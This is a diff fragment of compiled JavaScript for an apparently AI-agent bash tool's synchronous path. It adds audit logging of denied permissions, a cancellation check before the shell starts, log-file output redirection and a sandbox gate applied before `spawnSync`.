     const decision = evaluateBashPermission(cmd, ctx.settings.permissions.mode, {
         workspaceRoot: ctx.root,
         additionalDirectories,
@@ -600,6 +1221,20 @@ export function bashToolSync(input, ctx) {
     if (decision.decision !== 'allow') {
         const reason = `Permission ${decision.decision}: ${decision.reason}`;
         recordToolResult(ctx.session, toolCallId, 'error', reason);
+        // #21: mirror the async-path emission so sync callers
+        // (spawnSync fallback) produce the same tenant-wide audit trail.
+        writeAuditEvent({
+            event: 'permission_denied',
+            sessionId: ctx.session.id,
+            workspaceRoot: ctx.root,
+            data: {
+                tool: 'bash',
+                source,
+                decision: decision.decision,
+                reason: decision.reason,
+                cmdPreview: cmd.slice(0, 200),
+            },
+        });
         return {
             stdout: '',
             stderr: `Permission denied: ${decision.reason}`,
@@ -607,19 +1242,148 @@ export function bashToolSync(input, ctx) {
             nextCwd: ctx.lastBashCwd ?? ctx.root,
             truncated: false,
             timedOut: false,
+            cancelled: false,
+        };
+    }
+    // CEO P1 #25 — sync path observes pre-spawn cancellation too. The
+    // sync path is used by the engine-loop tool-bridge (`bashToolSync`
+    // from tool-bridge.ts:1385); we cannot mid-stream cancel that path
+    // without rewriting spawnSync, but the pre-spawn gate still gives
+    // the operator a quick-exit window between permission and shell
+    // launch.
+    if (ctx.cancellation?.isAborted === true) {
+        const reason = 'operator_aborted: bash refused before spawn';
+        emitEvent(ctx.session, 'bash.cancelled', { cmd, phase: 'pre_spawn_sync' });
+        recordToolResult(ctx.session, toolCallId, 'cancelled', reason);
+        return {
+            stdout: '',
+            stderr: reason,
+            exitCode: 130,
+            nextCwd: ctx.lastBashCwd ?? ctx.root,
+            truncated: false,
+            timedOut: false,
+            cancelled: true,
         };
     }
-    const startCwd = resolveStartCwd(input.cwd ?? ctx.lastBashCwd, ctx.root, additionalDirectories);
     const timeoutMs = sanitizeTimeout(input.timeoutMs);
     const childEnv = buildChildEnv();
-    const result = spawnSync('/bin/sh', ['-c', cmd], {
+    // Pugi backlog P2 — redirect path for the sync entry. The
+    // engine loop's tool-bridge dispatches through `bashToolSync`, so
+    // the redirect contract has to be honoured here too — otherwise a
+    // model that asks for log discipline through the bash tool surface
+    // would get its stdout buffered + truncated through the legacy
+    // pipeline. `spawnSync` accepts file descriptors in `stdio` so we
+    // can hand the log fd in directly, same as the async path.
+    let redirectState = null;
+    if (input.redirect !== undefined) {
+        try {
+            const target = resolveRedirectTarget({
+                workspaceRoot: ctx.root,
+                sessionId: ctx.session.id,
+                toolCallId,
+                command: cmd,
+                override: input.redirect.path,
+            });
+            const { fd, tempPath } = openRedirectFile(target);
+            redirectState = {
+                target,
+                fd,
+                tempPath,
+                tailLines: normalizeTailLines(input.redirect.tailLines),
+            };
+        }
+        catch (error) {
+            const reason = `redirect refused: ${error.message}`;
+            recordToolResult(ctx.session, toolCallId, 'error', reason);
+            return {
+                stdout: '',
+                stderr: reason,
+                exitCode: 126,
+                nextCwd: ctx.lastBashCwd ?? ctx.root,
+                truncated: false,
+                timedOut: false,
+                cancelled: false,
+            };
+        }
+    }
+    const stdioLayout = redirectState !== null
+        ? ['ignore', redirectState.fd, redirectState.fd]
+        : ['ignore', 'pipe', 'pipe'];
+    // Phase 1 #302 — sync path observes the same sandbox gate as the
+    // async path. tool-bridge.ts (the engine-loop sync dispatch) calls
+    // this entry; without the wrap the engine bypasses the sandbox.
+    const sandboxResolution = resolveBashSandbox(cmd, ctx);
+    if (sandboxResolution.kind === 'blocked') {
+        const reason = renderSandboxBlockMessage(sandboxResolution);
+        recordToolResult(ctx.session, toolCallId, 'error', reason);
+        if (redirectState !== null) {
+            try {
+                closeSync(redirectState.fd);
+            }
+            catch { /* already closed */ }
+        }
+        return {
+            stdout: '',
+            stderr: reason,
+            exitCode: 126,
+            nextCwd: ctx.lastBashCwd ?? ctx.root,
+            truncated: false,
+            timedOut: false,
+            cancelled: false,
+        };
+    }
+    const result = spawnSync(sandboxResolution.argv[0], sandboxResolution.argv.slice(1), {
         cwd: startCwd,
         env: childEnv,
         encoding: 'utf8',
-        stdio: ['ignore', 'pipe', 'pipe'],
+        stdio: stdioLayout,
         timeout: timeoutMs,
         maxBuffer: 10 * 1024 * 1024,
     });
+    const timedOut = result.error?.code === 'ETIMEDOUT' ||
+        result.signal === 'SIGTERM';
+    const nextCwd = computeNextCwd(cmd, startCwd, ctx.root, additionalDirectories, ctx.session);
+    // Redirect short-circuit before the buffered-path artifact logic.
+    // We close our copy of the fd before rename so the inode is no
+    // longer held open by the parent process.
+    if (redirectState !== null) {
+        try {
+            closeSync(redirectState.fd);
+        }
+        catch {
+            // already closed
+        }
+        try {
+            finaliseRedirectFile(redirectState.target, redirectState.tempPath);
+        }
+        catch {
+            // best-effort
+        }
+        const redirectExitCode = timedOut ? 124 : result.status ?? 1;
+        const envelope = applyRedirect({
+            target: redirectState.target,
+            exitCode: redirectExitCode,
+            tailLines: redirectState.tailLines,
+        });
+        if (timedOut) {
+            emitEvent(ctx.session, 'bash.timeout', { cmd, timeoutMs });
+            recordToolResult(ctx.session, toolCallId, 'error', `bash timed out after ${timeoutMs}ms (redirect=${envelope.logPath})`);
+        }
+        else {
+            recordToolResult(ctx.session, toolCallId, 'success', `bash exit=${redirectExitCode} redirect=${envelope.logPath}`);
+        }
+        return {
+            stdout: envelope.stdout,
+            stderr: envelope.stderr,
+            exitCode: redirectExitCode,
+            nextCwd,
+            truncated: envelope.truncated,
+            timedOut,
+            cancelled: false,
+            logPath: envelope.logPath,
+            tail: envelope.tail,
+        };
+    }
     const stdoutFull = (result.stdout ?? '').toString();
     const stderrFull = (result.stderr ?? '').toString();
     const truncated = stdoutFull.length + stderrFull.length > BASH_OUTPUT_CAP_BYTES;
@@ -636,10 +1400,7 @@ export function bashToolSync(input, ctx) {
         });
         ({ stdout: stdoutOut, stderr: stderrOut } = capToCombined(stdoutFull, stderrFull));
     }
-    const timedOut = result.error?.code === 'ETIMEDOUT' ||
-        result.signal === 'SIGTERM';
     const exitCode = timedOut ? 124 : result.status ?? 1;
-    const nextCwd = computeNextCwd(cmd, startCwd, ctx.root, additionalDirectories, ctx.session);
     if (timedOut) {
         emitEvent(ctx.session, 'bash.timeout', { cmd, timeoutMs });
         recordToolResult(ctx.session, toolCallId, 'error', `bash timed out after ${timeoutMs}ms`);
@@ -655,6 +1416,7 @@ export function bashToolSync(input, ctx) {
         nextCwd,
         truncated,
         timedOut,
+        cancelled: false,
     };
 }
 //# sourceMappingURL=bash.js.map